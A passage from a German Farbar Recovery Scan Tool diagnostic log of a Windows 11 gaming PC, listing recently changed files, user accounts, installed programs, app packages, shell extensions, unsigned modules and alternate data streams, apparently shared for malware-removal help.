2025-01-17 18:32 - 2024-12-04 20:26 - 000003194 _____ C:\WINDOWS\system32\Tasks\OneDrive Per-Machine Standalone Update Task
2025-01-17 18:32 - 2024-09-27 18:17 - 000002148 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\OneDrive.lnk
2025-01-16 19:15 - 2024-09-13 18:33 - 134222904 _____ C:\WINDOWS\392667600.dat
2025-01-16 19:13 - 2024-08-30 15:44 - 000000000 ____D C:\ProgramData\Riot Games
2025-01-16 17:14 - 2024-11-22 03:57 - 000000000 ____D C:\Users\wigla\Documents\jjsploit
2025-01-16 17:13 - 2024-06-21 21:51 - 000001395 _____ C:\Users\wigla\Desktop\Roblox Player.lnk
2025-01-16 17:13 - 2024-06-21 21:51 - 000000000 ____D C:\Users\wigla\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Roblox
2025-01-15 20:59 - 2024-06-21 19:01 - 000000000 ____D C:\Program Files (x86)\Mozilla Maintenance Service
2025-01-15 19:58 - 2024-12-04 20:26 - 000000000 ____D C:\WINDOWS\system32\Tasks\Mozilla
2025-01-15 19:58 - 2024-06-21 19:01 - 000001065 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Firefox.lnk
2025-01-13 13:16 - 2024-06-21 17:56 - 000000000 ____D C:\ProgramData\Packages
2025-01-13 13:15 - 2024-06-21 18:59 - 000000000 ____D C:\Users\wigla\AppData\Local\PlaceholderTileLogoFolder
2025-01-11 10:01 - 2024-06-21 19:01 - 000001053 _____ C:\Users\Public\Desktop\Firefox.lnk
2025-01-11 10:00 - 2024-08-30 17:34 - 000000000 ____D C:\Program Files\Riot Vanguard
2025-01-10 17:21 - 2024-06-21 19:23 - 000000000 ____D C:\Users\wigla\AppData\Local\AMD_Common
2025-01-10 17:15 - 2024-04-01 08:26 - 000000000 ____D C:\WINDOWS\system32\SecurityHealth
2025-01-10 15:23 - 2024-06-21 19:09 - 000002247 _____ C:\Users\wigla\Desktop\Discord.lnk
2025-01-05 15:34 - 2024-06-21 21:51 - 000000000 ____D C:\Users\wigla\AppData\Local\Roblox
2025-01-05 11:34 - 2024-06-23 13:50 - 000000000 ____D C:\Users\wigla\AppData\Roaming\Opera Software
2025-01-05 11:34 - 2024-06-21 21:51 - 000001395 _____ C:\Users\wigla\Desktop\Roblox Studio.lnk
2024-12-29 15:14 - 2024-10-01 18:50 - 000000000 ____D C:\Users\wigla\AppData\Local\EZFNLauncherV4
2024-12-27 21:39 - 2024-09-12 14:09 - 000000000 ____D C:\Users\wigla\AppData\Roaming\VoiceAccess
2024-12-23 13:15 - 2024-12-04 20:26 - 000000000 ____D C:\WINDOWS\system32\Tasks\ASUS
2024-12-23 13:15 - 2024-06-21 19:03 - 000000000 ___HD C:\Program Files (x86)\InstallShield Installation Information
2024-12-23 13:14 - 2024-06-21 16:56 - 000000000 ____D C:\ProgramData\ASUS
2024-12-22 15:09 - 2024-06-21 16:56 - 000194560 ____N C:\WINDOWS\Minidump\122224-13812-01.dmp
2024-12-22 01:16 - 2024-12-04 20:26 - 000003756 _____ C:\WINDOWS\system32\Tasks\MicrosoftEdgeUpdateTaskMachineUA
2024-12-22 01:16 - 2024-12-04 20:26 - 000003632 _____ C:\WINDOWS\system32\Tasks\MicrosoftEdgeUpdateTaskMachineCore

==================== Dateien im Wurzelverzeichnis einiger Verzeichnisse ========

2024-09-11 16:58 - 2024-09-11 16:58 - 000000017 _____ () C:\Users\wigla\AppData\Local\resmon.resmoncfg

==================== SigCheck ============================

(Es ist kein automatischer Fix für Dateien vorhanden, die an der Verifikation gescheitert sind.)

==================== Ende von FRST.txt ========================
Code:
Zusätzliches Untersuchungsergebnis von Farbar Recovery Scan Tool (x64) Version: 19-01-2025
durchgeführt von wigla (21-01-2025 09:54:19)
Gestartet von C:\Users\wigla\Downloads
Microsoft Windows 11 Pro Version 24H2 26100.2894 (X64) (2024-12-04 19:27:04)
Start-Modus: Normal
==========================================================


==================== Konten: =============================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.)

Administrator (S-1-5-21-3736346939-3236848792-3681124891-500 - Administrator - Disabled)
DefaultAccount (S-1-5-21-3736346939-3236848792-3681124891-503 - Limited - Disabled)
Gast (S-1-5-21-3736346939-3236848792-3681124891-501 - Limited - Disabled)
WDAGUtilityAccount (S-1-5-21-3736346939-3236848792-3681124891-504 - Limited - Disabled)
wigla (S-1-5-21-3736346939-3236848792-3681124891-1001 - Administrator - Enabled) => C:\Users\wigla

==================== Sicherheits-Center ========================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.)

AV: Windows Defender (Enabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}

==================== Installierte Programme ======================

(Nur Adware-Programme mit dem Zusatz "Hidden" können in die Fixlist aufgenommen werden, um sie sichtbar zu machen. Die Adware-Programme sollten manuell deinstalliert werden.)

AMD Chipset Software (HKLM-x32\...\AMD_Chipset_IODrivers) (Version: 3.10.22.706 - Advanced Micro Devices, Inc.)
AMD GPIO2 Driver (HKLM-x32\...\{E9DD399F-21A3-479E-A7DF-D6CF4B2ADBF3}) (Version: 2.2.0.130 - Advanced Micro Devices, Inc.) Hidden
AMD PCI Driver (HKLM-x32\...\{80EC3CEE-2940-42A1-A776-B5D810D39F1E}) (Version: 1.0.0.83 - Advanced Micro Devices, Inc.) Hidden
AMD PSP Driver (HKLM-x32\...\{988F14B8-79A8-475D-BAC7-83F96AD3D821}) (Version: 5.17.0.0 - Advanced Micro Devices, Inc.) Hidden
AMD Ryzen Balanced Driver (HKLM-x32\...\{A171D320-C42C-4F3B-A2D8-C6A09F6788CC}) (Version: 7.0.4.4 - Advanced Micro Devices, Inc.) Hidden
AMD SBxxx SMBus Driver (HKLM-x32\...\{AAE0E27D-C88A-49BA-8715-77ADCD4286A3}) (Version: 5.12.0.38 - Advanced Micro Devices, Inc.) Hidden
AMD Software (HKLM\...\AMD Catalyst Install Manager) (Version: 24.7.1 - Advanced Micro Devices, Inc.)
AMD_Chipset_Drivers (HKLM-x32\...\{cf77cf6b-71ff-4a71-802d-43adb9b271b7}) (Version: 3.10.22.706 - Advanced Micro Devices, Inc.) Hidden
AniMe Matrix MB EN (HKLM\...\{399B6DA7-B609-426E-95F8-B9A83FB7D06E}) (Version: 1.0.1 - ASUS)
ARMOURY CRATE Lite Service (HKLM\...\{EF3944FF-2501-4568-B15C-5701E726719E}) (Version: 5.9.13 - ASUS)
ASUS AIOFan HAL (HKLM\...\{EAE80DED-1A39-41C5-9F60-87CC947F6454}) (Version: 1.3.3.0 - ASUSTek COMPUTER INC.) Hidden
ASUS AIOFan HAL (HKLM-x32\...\{8fd8086a-a017-4dde-9157-e762e69ad2c9}) (Version: 1.3.3.0 - ASUSTek COMPUTER INC.) Hidden
ASUS Ambient HAL (HKLM\...\{00C7B374-9D50-4C30-B849-D2DAD6BC24D9}) (Version: 3.2.0.0 - ASUSTeK COMPUTER INC.) Hidden
ASUS Ambient HAL (HKLM-x32\...\{8ae78681-7936-4da1-8a2b-2861c3ba9f04}) (Version: 3.2.0.0 - ASUSTeK COMPUTER INC.) Hidden
ASUS AURA Extension Card HAL (HKLM\...\{237E1CAC-1708-4940-AC34-DF15C079AB70}) (Version: 1.1.0.20 - ASUSTeK COMPUTER INC.) Hidden
ASUS AURA Extension Card HAL (HKLM-x32\...\{49c4358d-054e-4cf1-9ec1-dca3487f304a}) (Version: 1.1.0.20 - ASUSTeK COMPUTER INC.) Hidden
ASUS AURA Motherboard HAL (HKLM\...\{4EBEAC95-76BC-46A8-8644-6E2F1C87CF70}) (Version: 1.3.9.6 - ASUSTeK COMPUTER INC.) Hidden
ASUS AURA Motherboard HAL (HKLM-x32\...\{4edc3c3e-2ec4-43d0-a184-ad61bc7dda53}) (Version: 1.3.9.6 - ASUSTeK COMPUTER INC.) Hidden
ASUS Aura SDK (HKLM\...\{CF8E6E00-9C03-4440-81C0-21FACB921A6B}) (Version: 3.04.46 - ASUSTek COMPUTER INC.) Hidden
ASUS Framework Service (HKLM-x32\...\{339A6383-7862-46DA-8A9D-E84180EF9424}) (Version: 4.2.0.4 - ASUSTeK Computer Inc.)
ASUS Motherboard (HKLM-x32\...\{93795eb8-bd86-4d4d-ab27-ff80f9467b37}) (Version: 4.02.03 - ASUSTek Computer Inc.)
ASUS Update Helper (HKLM-x32\...\{A92DAB39-4E2C-4304-9AB6-BC44E68B55E2}) (Version: 1.3.107.129 - ASUSTeK Computer Inc.) Hidden
AURA DRAM Component (HKLM\...\{D128585A-F8AB-4CA1-A63F-7B4B4A99129A}) (Version: 1.1.26 - ASUS) Hidden
AURA DRAM Component (HKLM-x32\...\{92a6184a-46c7-4c23-adfd-5b7c8c1a9877}) (Version: 1.1.26 - ASUS) Hidden
AURA lighting effect add-on (HKLM-x32\...\{1E2EA04B-FCA7-457E-B6F4-F33E1858E859}) (Version: 0.0.44 - ASUSTek COMPUTER INC.)
AURA lighting effect add-on x64 (HKLM\...\{C5A4A164-4428-4931-B728-96EEF0FA3C44}) (Version: 0.0.44 - ASUSTek COMPUTER INC.)
AURA Service (HKLM-x32\...\{56EEEF7D-0AE3-401A-898B-581719D005AE}) (Version: 3.07.54 - ASUSTeK Computer Inc.) Hidden
AURA Service (HKLM-x32\...\{5a78a7d3-44e9-4462-8796-3746f1c62cb8}) (Version: 3.07.54 - ASUSTeK Computer Inc.)
Avast Update Helper (HKLM-x32\...\{19C3AB22-3718-4E4D-B203-242F5001565B}) (Version: 1.8.1697.6 - AVAST Software) Hidden
Branding64 (HKLM\...\{492AEFBE-1B81-4C20-A111-E6974BB98EC5}) (Version: 1.00.0009 - Advanced Micro Devices, Inc.) Hidden
Discord (HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\...\Discord) (Version: 1.0.9151 - Discord Inc.)
ENE RGB HAL (HKLM\...\{E050E98C-5524-4AFB-9E53-97700BEF2C02}) (Version: 1.1.49.4 - Ene Tech.) Hidden
ENE RGB HAL (HKLM-x32\...\{98faff1a-720e-4ffe-b922-0a1d6ec0d699}) (Version: 1.1.49.4 - Ene Tech.) Hidden
ENE_EHD_M2_HAL (HKLM\...\{37A48B7F-D4EA-4863-844E-A284E2AA3C5D}) (Version: 1.0.13.0 - ENE TECHNOLOGY INC.) Hidden
ENE_EHD_M2_HAL (HKLM-x32\...\{0d380ad9-daa5-4680-ada2-dc3ed9207e16}) (Version: 1.0.13.0 - ENE TECHNOLOGY INC.) Hidden
Epic Games Launcher (HKLM-x32\...\{9483ABD9-C772-487B-ADF8-09347CF8F2D2}) (Version: 1.3.93.0 - Epic Games, Inc.)
Epic Online Services (HKLM-x32\...\{57A956AB-4BCC-45C6-9B40-957E4E125568}) (Version: 2.0.44.0 - Epic Games, Inc.)
GameLoop (HKLM-x32\...\MobileGamePC) (Version: 1.0.0.1 - Tencent Technology Company)
GameSDK Service (HKLM-x32\...\{021d69c3-d686-4a94-8fb5-fd1ee782fb14}) (Version: 1.0.5.0 - ASUSTek COMPUTER INC.)
GameSDK Service (HKLM-x32\...\{7160DA8D-3F25-4F6E-ABC8-F693551D82FA}) (Version: 1.0.5.0 - ASUSTek COMPUTER INC.) Hidden
Kingston AURA DRAM Component (HKLM\...\{965CDF5F-901C-476F-B3A8-7396701B1129}) (Version: 1.1.36 - KINGSTON COMPONENTS INC.) Hidden
Kingston AURA DRAM Component (HKLM-x32\...\{afab10dc-c1d5-45c1-ad91-fe33af8ac488}) (Version: 1.1.36 - KINGSTON COMPONENTS INC.) Hidden
Launcher Prerequisites (x64) (HKLM-x32\...\{43a03b9c-4770-409c-a999-587b60700b63}) (Version: 1.0.0.0 - Epic Games, Inc.) Hidden
Malwarebytes version 5.2.4.157 (HKLM\...\{35065F43-4BB2-439A-BFF7-0F1014F2E0CD}_is1) (Version: 5.2.4.157 - Malwarebytes)
Microsoft .NET Host - 6.0.16 (x64) (HKLM\...\{1D0AC7F1-2B34-44AF-91F6-88757D768DA7}) (Version: 48.67.58427 - Microsoft Corporation) Hidden
Microsoft .NET Host - 7.0.20 (x64) (HKLM\...\{EE5EB03B-D65C-4991-848E-2C6E024326DB}) (Version: 56.80.15184 - Microsoft Corporation) Hidden
Microsoft .NET Host FX Resolver - 6.0.16 (x64) (HKLM\...\{B8537ACA-B210-4DF5-B928-E41CEB76723D}) (Version: 48.67.58427 - Microsoft Corporation) Hidden
Microsoft .NET Host FX Resolver - 7.0.20 (x64) (HKLM\...\{B0FC828F-678C-4868-9B5B-99639758E6F3}) (Version: 56.80.15184 - Microsoft Corporation) Hidden
Microsoft .NET Runtime - 6.0.16 (x64) (HKLM\...\{C71E93D2-B8B4-4858-B2A1-4C967DBC1C5F}) (Version: 48.67.58427 - Microsoft Corporation) Hidden
Microsoft .NET Runtime - 6.0.16 (x64) (HKLM-x32\...\{2a8d0f2b-911b-4b58-8252-46b29e7a4590}) (Version: 6.0.16.32323 - Microsoft Corporation)
Microsoft .NET Runtime - 7.0.20 (x64) (HKLM\...\{221BB52A-B763-4C9D-AA62-4B0B6C9AAD62}) (Version: 56.80.15184 - Microsoft Corporation) Hidden
Microsoft Edge (HKLM-x32\...\Microsoft Edge) (Version: 132.0.2957.115 - Microsoft Corporation)
Microsoft Edge WebView2-Laufzeit (HKLM-x32\...\Microsoft EdgeWebView) (Version: 131.0.2903.146 - Microsoft Corporation) Hidden
Microsoft OneDrive (HKLM\...\OneDriveSetup.exe) (Version: 24.244.1204.0003 - Microsoft Corporation)
Microsoft Update Health Tools (HKLM\...\{C6FD611E-7EFE-488C-A0E0-974C09EF6473}) (Version: 5.72.0.0 - Microsoft Corporation)
Microsoft Visual C++ 2015-2022 Redistributable (x64) - 14.42.34433 (HKLM-x32\...\{804e7d66-ccc2-4c12-84ba-476da31d103d}) (Version: 14.42.34433.0 - Microsoft Corporation)
Microsoft Visual C++ 2015-2022 Redistributable (x86) - 14.42.34433 (HKLM-x32\...\{e7802eac-3305-4da0-9378-e55d1ed05518}) (Version: 14.42.34433.0 - Microsoft Corporation)
Microsoft Visual C++ 2022 X64 Additional Runtime - 14.42.34433 (HKLM\...\{E1902FC6-C423-4719-AB8A-AC7B2694B367}) (Version: 14.42.34433 - Microsoft Corporation) Hidden
Microsoft Visual C++ 2022 X64 Minimum Runtime - 14.42.34433 (HKLM\...\{382F1166-A409-4C5B-9B1E-85ED538B8291}) (Version: 14.42.34433 - Microsoft Corporation) Hidden
Microsoft Visual C++ 2022 X86 Additional Runtime - 14.42.34433 (HKLM-x32\...\{84E3E712-6343-484B-8B6C-9F145F019A70}) (Version: 14.42.34433 - Microsoft Corporation) Hidden
Microsoft Visual C++ 2022 X86 Minimum Runtime - 14.42.34433 (HKLM-x32\...\{C2BB95AA-90F3-4891-81C1-A7E565BB836C}) (Version: 14.42.34433 - Microsoft Corporation) Hidden
Microsoft Windows Desktop Runtime - 7.0.20 (x64) (HKLM\...\{72C29BED-666F-4E5E-BC49-DF44C890742E}) (Version: 56.80.15245 - Microsoft Corporation) Hidden
Microsoft Windows Desktop Runtime - 7.0.20 (x64) (HKLM-x32\...\{362ea044-f96f-45c7-b59f-0dbe5ca98ff4}) (Version: 7.0.20.33720 - Microsoft Corporation)
Mozilla Firefox (x64 de) (HKLM\...\Mozilla Firefox 134.0.1 (x64 de)) (Version: 134.0.1 - Mozilla)
Mozilla Maintenance Service (HKLM\...\MozillaMaintenanceService) (Version: 127.0.1 - Mozilla)
Opera GX Stable 115.0.5322.152 (HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\...\Opera GX 115.0.5322.152) (Version: 115.0.5322.152 - Opera Software)
Patriot Viper DRAM RGB (HKLM\...\{1F9C282E-CCB4-4D8E-A5CB-7B74DFCD8C95}) (Version: 1.0.9.8 - Patriot Memory) Hidden
Patriot Viper DRAM RGB (HKLM-x32\...\{55993b50-5bec-47c8-8b2b-1aecad927e48}) (Version: 1.0.9.8 - Patriot Memory) Hidden
Patriot Viper M2 SSD RGB (HKLM\...\{8B4C0A3D-C135-4E1F-98D8-3926494B4D61}) (Version: 1.1.0.3 - Patriot Memory) Hidden
Patriot Viper M2 SSD RGB (HKLM-x32\...\{6e0eff60-c502-43bb-8f56-360ca07e73d9}) (Version: 1.1.0.3 - Patriot Memory) Hidden
Promontory_GPIO Driver (HKLM-x32\...\{B5512BCC-F4CD-4159-86A4-B2AD7D38FFA9}) (Version: 2.0.1.0 - Advanced Micro Devices, Inc.) Hidden
Realtek Audio Driver (HKLM-x32\...\{F132AF7F-7BCA-4EDE-8A7C-958108FE7DBC}) (Version: 6.0.9359.1 - Realtek Semiconductor Corp.)
Riot Client  (HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\...\Riot Game Riot_Client.) (Version:  - Riot Games, Inc)
Riot Vanguard (HKLM\...\Riot Vanguard) (Version:  - Riot Games, Inc.)
Roblox Player for wigla (HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\...\roblox-player) (Version:  - Roblox Corporation)
Roblox Studio for wigla (HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\...\roblox-studio) (Version:  - Roblox Corporation)
ROG Live Service (HKLM\...\{2D87BFB6-C184-4A59-9BBE-3E20CE797631}) (Version: 2.4.26.0 - ASUSTek COMPUTER INC.)
ROGFontInstaller (HKLM\...\{605108C1-153E-43D8-8A67-7CE326B00ECA}) (Version: 1.0.0 - ASUS)
RyzenMasterSDK (HKLM\...\{7E748B95-6E38-4263-BE35-74704CBCEB39}) (Version: 1.2.3.5 - Advanced Micro Devices, Inc.) Hidden
Steam (HKLM-x32\...\Steam) (Version: 2.10.91.91 - Valve Corporation)
Ubisoft Connect (HKLM-x32\...\Uplay) (Version: 87.0 - Ubisoft)
UE Prerequisites (x64) (HKLM\...\{9F18D9CE-84C9-4AEA-9421-38FD2AC30B77}) (Version: 1.0.21.0 - Epic Games, Inc.) Hidden
UE Prerequisites (x64) (HKLM-x32\...\{e9d9f387-657e-40d8-8f5b-4fc1aa768343}) (Version: 1.0.21.0 - Epic Games, Inc.) Hidden
Universal Holtek RGB DRAM (HKLM\...\{826388E4-E31F-4514-948B-3BB954FB3EAF}) (Version: 1.0.0.7 - PD) Hidden
Universal Holtek RGB DRAM (HKLM-x32\...\{9a732423-e2f4-47d0-87ab-ef745c7dba69}) (Version: 1.0.0.7 - PD) Hidden
VALORANT (HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\...\Riot Game valorant.live) (Version:  - Riot Games, Inc)
Voicemod (HKLM\...\{FE519A29-8B15-47C4-BCD6-A513277DC26F}_is1) (Version: 1.3.1 - Voicemod Inc., Sucursal en España)
WD_BLACK AN1500 (HKLM\...\{085E2365-0A70-4230-B664-02D5E4FE7E9C}) (Version: 1.0.14.0 - ENE TECHNOLOGY INC.) Hidden
WD_BLACK AN1500 (HKLM-x32\...\{e42c5874-37b0-4977-9e8d-70bf006e1f76}) (Version: 1.0.14.0 - ENE TECHNOLOGY INC.) Hidden
wootility-lekker 4.7.2 (HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\...\66e6eb5a-751d-5dea-9547-09ad84261e24) (Version: 4.7.2 - )
wooting-analog-sdk (HKLM\...\{4775AE15-6216-498C-8A0C-FFFFDEB36C35}) (Version: 0.8.0 - Wooting)

Packages:
=========
AMD Radeon Software -> C:\Program Files\AMD\CNext\CNext [2024-07-22] (Advanced Micro Devices Inc.)
Armoury Crate -> C:\Program Files\ASUS\AacAmbientHal [2024-06-21] (Sparse Package)
ARMOURY CRATE -> C:\Program Files\WindowsApps\B9ECED6F.ArmouryCrate_5.9.13.0_x64__qmba6cd70vzyy [2024-12-23] (ASUSTeK COMPUTER INC.)
Crosshair X -> C:\Program Files\WindowsApps\47492CenterpointGaming.ProSight_9.7.7.0_x64__rz8d8f65gztyc [2025-01-15] (CenterPoint Gaming) [Startup Task]
DTS Sound Unbound -> C:\Program Files\WindowsApps\DTSInc.DTSSoundUnbound_2024.4.17.0_x64__t5j2fzbtdg37r [2024-11-19] (DTS, Inc.)
Minecraft for Windows -> C:\Program Files\WindowsApps\Microsoft.MinecraftUWP_1.21.5101.0_x64__8wekyb3d8bbwe [2025-01-13] (Microsoft Studios)
Minecraft Launcher -> C:\Program Files\WindowsApps\Microsoft.4297127D64EC6_2.1.3.0_x64__8wekyb3d8bbwe [2025-01-13] (Microsoft Studios)
Minecraft: Java Edition -> C:\Program Files\WindowsApps\Microsoft.MinecraftJavaEdition_1.0.5.0_x64__8wekyb3d8bbwe [2025-01-13] (Microsoft Studios)
Realtek Audio Control -> C:\Program Files\WindowsApps\RealtekSemiconductorCorp.RealtekAudioControl_1.36.273.0_x64__dt26b99r8h8gj [2024-06-21] (Realtek Semiconductor Corp)
Sonic Radar 3 -> C:\Program Files\WindowsApps\A-Volute.28054DF1F58B4_3.16.23.0_x64__w2gh52qy24etm [2024-06-21] (A-Volute)
Sonic Studio 3 -> C:\Program Files\WindowsApps\A-Volute.SonicStudio3_3.16.23.0_x64__w2gh52qy24etm [2024-06-21] (A-Volute)
Speech Pack - German (Germany) -> C:\Program Files\WindowsApps\MicrosoftWindows.Speech.de-DE.1_1.0.5.0_x64__cw5n1h2txyewy [2024-09-12] (Microsoft Windows)
WhatsApp -> C:\Program Files\WindowsApps\5319275A.WhatsAppDesktop_2.2502.3.0_x64__cv1g1gvanyjgm [2025-01-17] (WhatsApp Inc.) [Startup Task]
WinAppRuntime.Main.1.5 -> C:\Program Files\WindowsApps\MicrosoftCorporationII.WinAppRuntime.Main.1.5_5001.311.2039.0_x64__8wekyb3d8bbwe [2024-11-19] (Microsoft Corp.)
WinAppRuntime.Singleton -> C:\Program Files\WindowsApps\MicrosoftCorporationII.WinAppRuntime.Singleton_6000.318.2304.0_x64__8wekyb3d8bbwe [2024-11-19] (Microsoft Corp.)

==================== Benutzerdefinierte CLSID (Nicht auf der Ausnahmeliste): ==============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

CustomCLSID: HKU\S-1-5-21-3736346939-3236848792-3681124891-1001_Classes\CLSID\{5405618e-4c42-4fb9-a80a-d24d89911296}\localserver32 -> C:\Users\wigla\AppData\Local\NhNotifSys\sonicstudio\asusns.exe (A-Volute SAS -> A-Volute)
ShellIconOverlayIdentifiers: [ OneDrive1] -> {BBACC218-34EA-4666-9D7A-C78F2274A524} => C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncShell64.dll [2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
ShellIconOverlayIdentifiers: [ OneDrive2] -> {5AB7172C-9C11-405C-8DD5-AF20F3606282} => C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncShell64.dll [2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
ShellIconOverlayIdentifiers: [ OneDrive3] -> {A78ED123-AB77-406B-9962-2A5D9D2F7F30} => C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncShell64.dll [2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
ShellIconOverlayIdentifiers: [ OneDrive4] -> {F241C880-6982-4CE5-8CF7-7085BA96DA5A} => C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncShell64.dll [2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
ShellIconOverlayIdentifiers: [ OneDrive5] -> {A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} => C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncShell64.dll [2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
ShellIconOverlayIdentifiers: [ OneDrive6] -> {9AA2F32D-362A-42D9-9328-24A483E2CCC3} => C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncShell64.dll [2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
ShellIconOverlayIdentifiers: [ OneDrive7] -> {C5FF006E-2AE9-408C-B85B-2DFDD5449D9C} => C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncShell64.dll [2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
ShellIconOverlayIdentifiers-x32: [ OneDrive1] -> {BBACC218-34EA-4666-9D7A-C78F2274A524} => C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncShell64.dll [2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
ShellIconOverlayIdentifiers-x32: [ OneDrive2] -> {5AB7172C-9C11-405C-8DD5-AF20F3606282} => C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncShell64.dll [2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
ShellIconOverlayIdentifiers-x32: [ OneDrive3] -> {A78ED123-AB77-406B-9962-2A5D9D2F7F30} => C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncShell64.dll [2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
ShellIconOverlayIdentifiers-x32: [ OneDrive4] -> {F241C880-6982-4CE5-8CF7-7085BA96DA5A} => C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncShell64.dll [2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
ShellIconOverlayIdentifiers-x32: [ OneDrive5] -> {A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} => C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncShell64.dll [2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
ShellIconOverlayIdentifiers-x32: [ OneDrive6] -> {9AA2F32D-362A-42D9-9328-24A483E2CCC3} => C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncShell64.dll [2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
ShellIconOverlayIdentifiers-x32: [ OneDrive7] -> {C5FF006E-2AE9-408C-B85B-2DFDD5449D9C} => C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncShell64.dll [2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
ContextMenuHandlers1: [ FileSyncEx] -> {CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B} => C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncShell64.dll [2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
ContextMenuHandlers3: [MBAMShlExt] -> {57CE581A-0CB6-4266-9CA0-19364C90A0B3} => C:\Program Files\Malwarebytes\Anti-Malware\mbshlext.dll [2024-12-15] (Malwarebytes Inc. -> Malwarebytes)
ContextMenuHandlers4: [ FileSyncEx] -> {CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B} => C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncShell64.dll [2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
ContextMenuHandlers5: [ FileSyncEx] -> {CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B} => C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncShell64.dll [2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
ContextMenuHandlers6: [MBAMShlExt] -> {57CE581A-0CB6-4266-9CA0-19364C90A0B3} => C:\Program Files\Malwarebytes\Anti-Malware\mbshlext.dll [2024-12-15] (Malwarebytes Inc. -> Malwarebytes)

==================== Codecs (Nicht auf der Ausnahmeliste) ====================

==================== Verknüpfungen & WMI ========================

==================== Geladene Module (Nicht auf der Ausnahmeliste) =============

2024-12-23 13:15 - 2024-07-03 15:49 - 000346112 _____ () [Datei ist nicht signiert] \\?\C:\Program Files (x86)\ASUS\ArmouryDevice\resources\app.asar.unpacked\node_modules\@img\sharp-win32-ia32\lib\sharp-win32-ia32.node
2024-06-21 19:03 - 2024-08-13 14:58 - 000449536 _____ () [Datei ist nicht signiert] \\?\C:\Program Files (x86)\ASUS\ArmouryDevice\resources\app.asar.unpacked\node_modules\ac_node_addon\build\Release\ac_node_addon.node
2024-11-06 15:54 - 2024-12-03 21:40 - 005378048 _____ (FFmpeg Project) [Datei ist nicht signiert] C:\Program Files (x86)\Steam\libavcodec-61.dll
2024-11-06 15:54 - 2024-12-03 21:40 - 000875008 _____ (FFmpeg Project) [Datei ist nicht signiert] C:\Program Files (x86)\Steam\libavfilter-10.dll
2024-11-06 15:54 - 2024-12-03 21:40 - 001674240 _____ (FFmpeg Project) [Datei ist nicht signiert] C:\Program Files (x86)\Steam\libavformat-61.dll
2024-11-06 15:54 - 2024-12-03 21:40 - 001640960 _____ (FFmpeg Project) [Datei ist nicht signiert] C:\Program Files (x86)\Steam\libavutil-59.dll
2024-11-06 15:54 - 2024-12-03 21:40 - 000630272 _____ (FFmpeg Project) [Datei ist nicht signiert] C:\Program Files (x86)\Steam\libswresample-5.dll
2024-11-06 15:54 - 2024-12-03 21:40 - 001092608 _____ (FFmpeg Project) [Datei ist nicht signiert] C:\Program Files (x86)\Steam\libswscale-8.dll
2025-01-17 22:36 - 2025-01-17 22:36 - 002797056 _____ (winsparkle.org) [Datei ist nicht signiert] C:\Users\wigla\AppData\Local\VoicemodV3\app\last\WinSparkle.dll

==================== Alternate Data Streams (Nicht auf der Ausnahmeliste) ========

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird nur der ADS entfernt.)

AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\desktop.ini:B1DA6C571C [4306]
AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\desktop.ini:41964AA945 [4306]
AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Epic Games Launcher.lnk:BE32D07BC5 [4306]
AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Firefox Privater Modus.lnk:83A68E50E4 [4306]
AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes.lnk:C5D586BE93 [4306]
AlternateDataStreams: C:\Users\Public\Shared Files:VersionCache [6902]
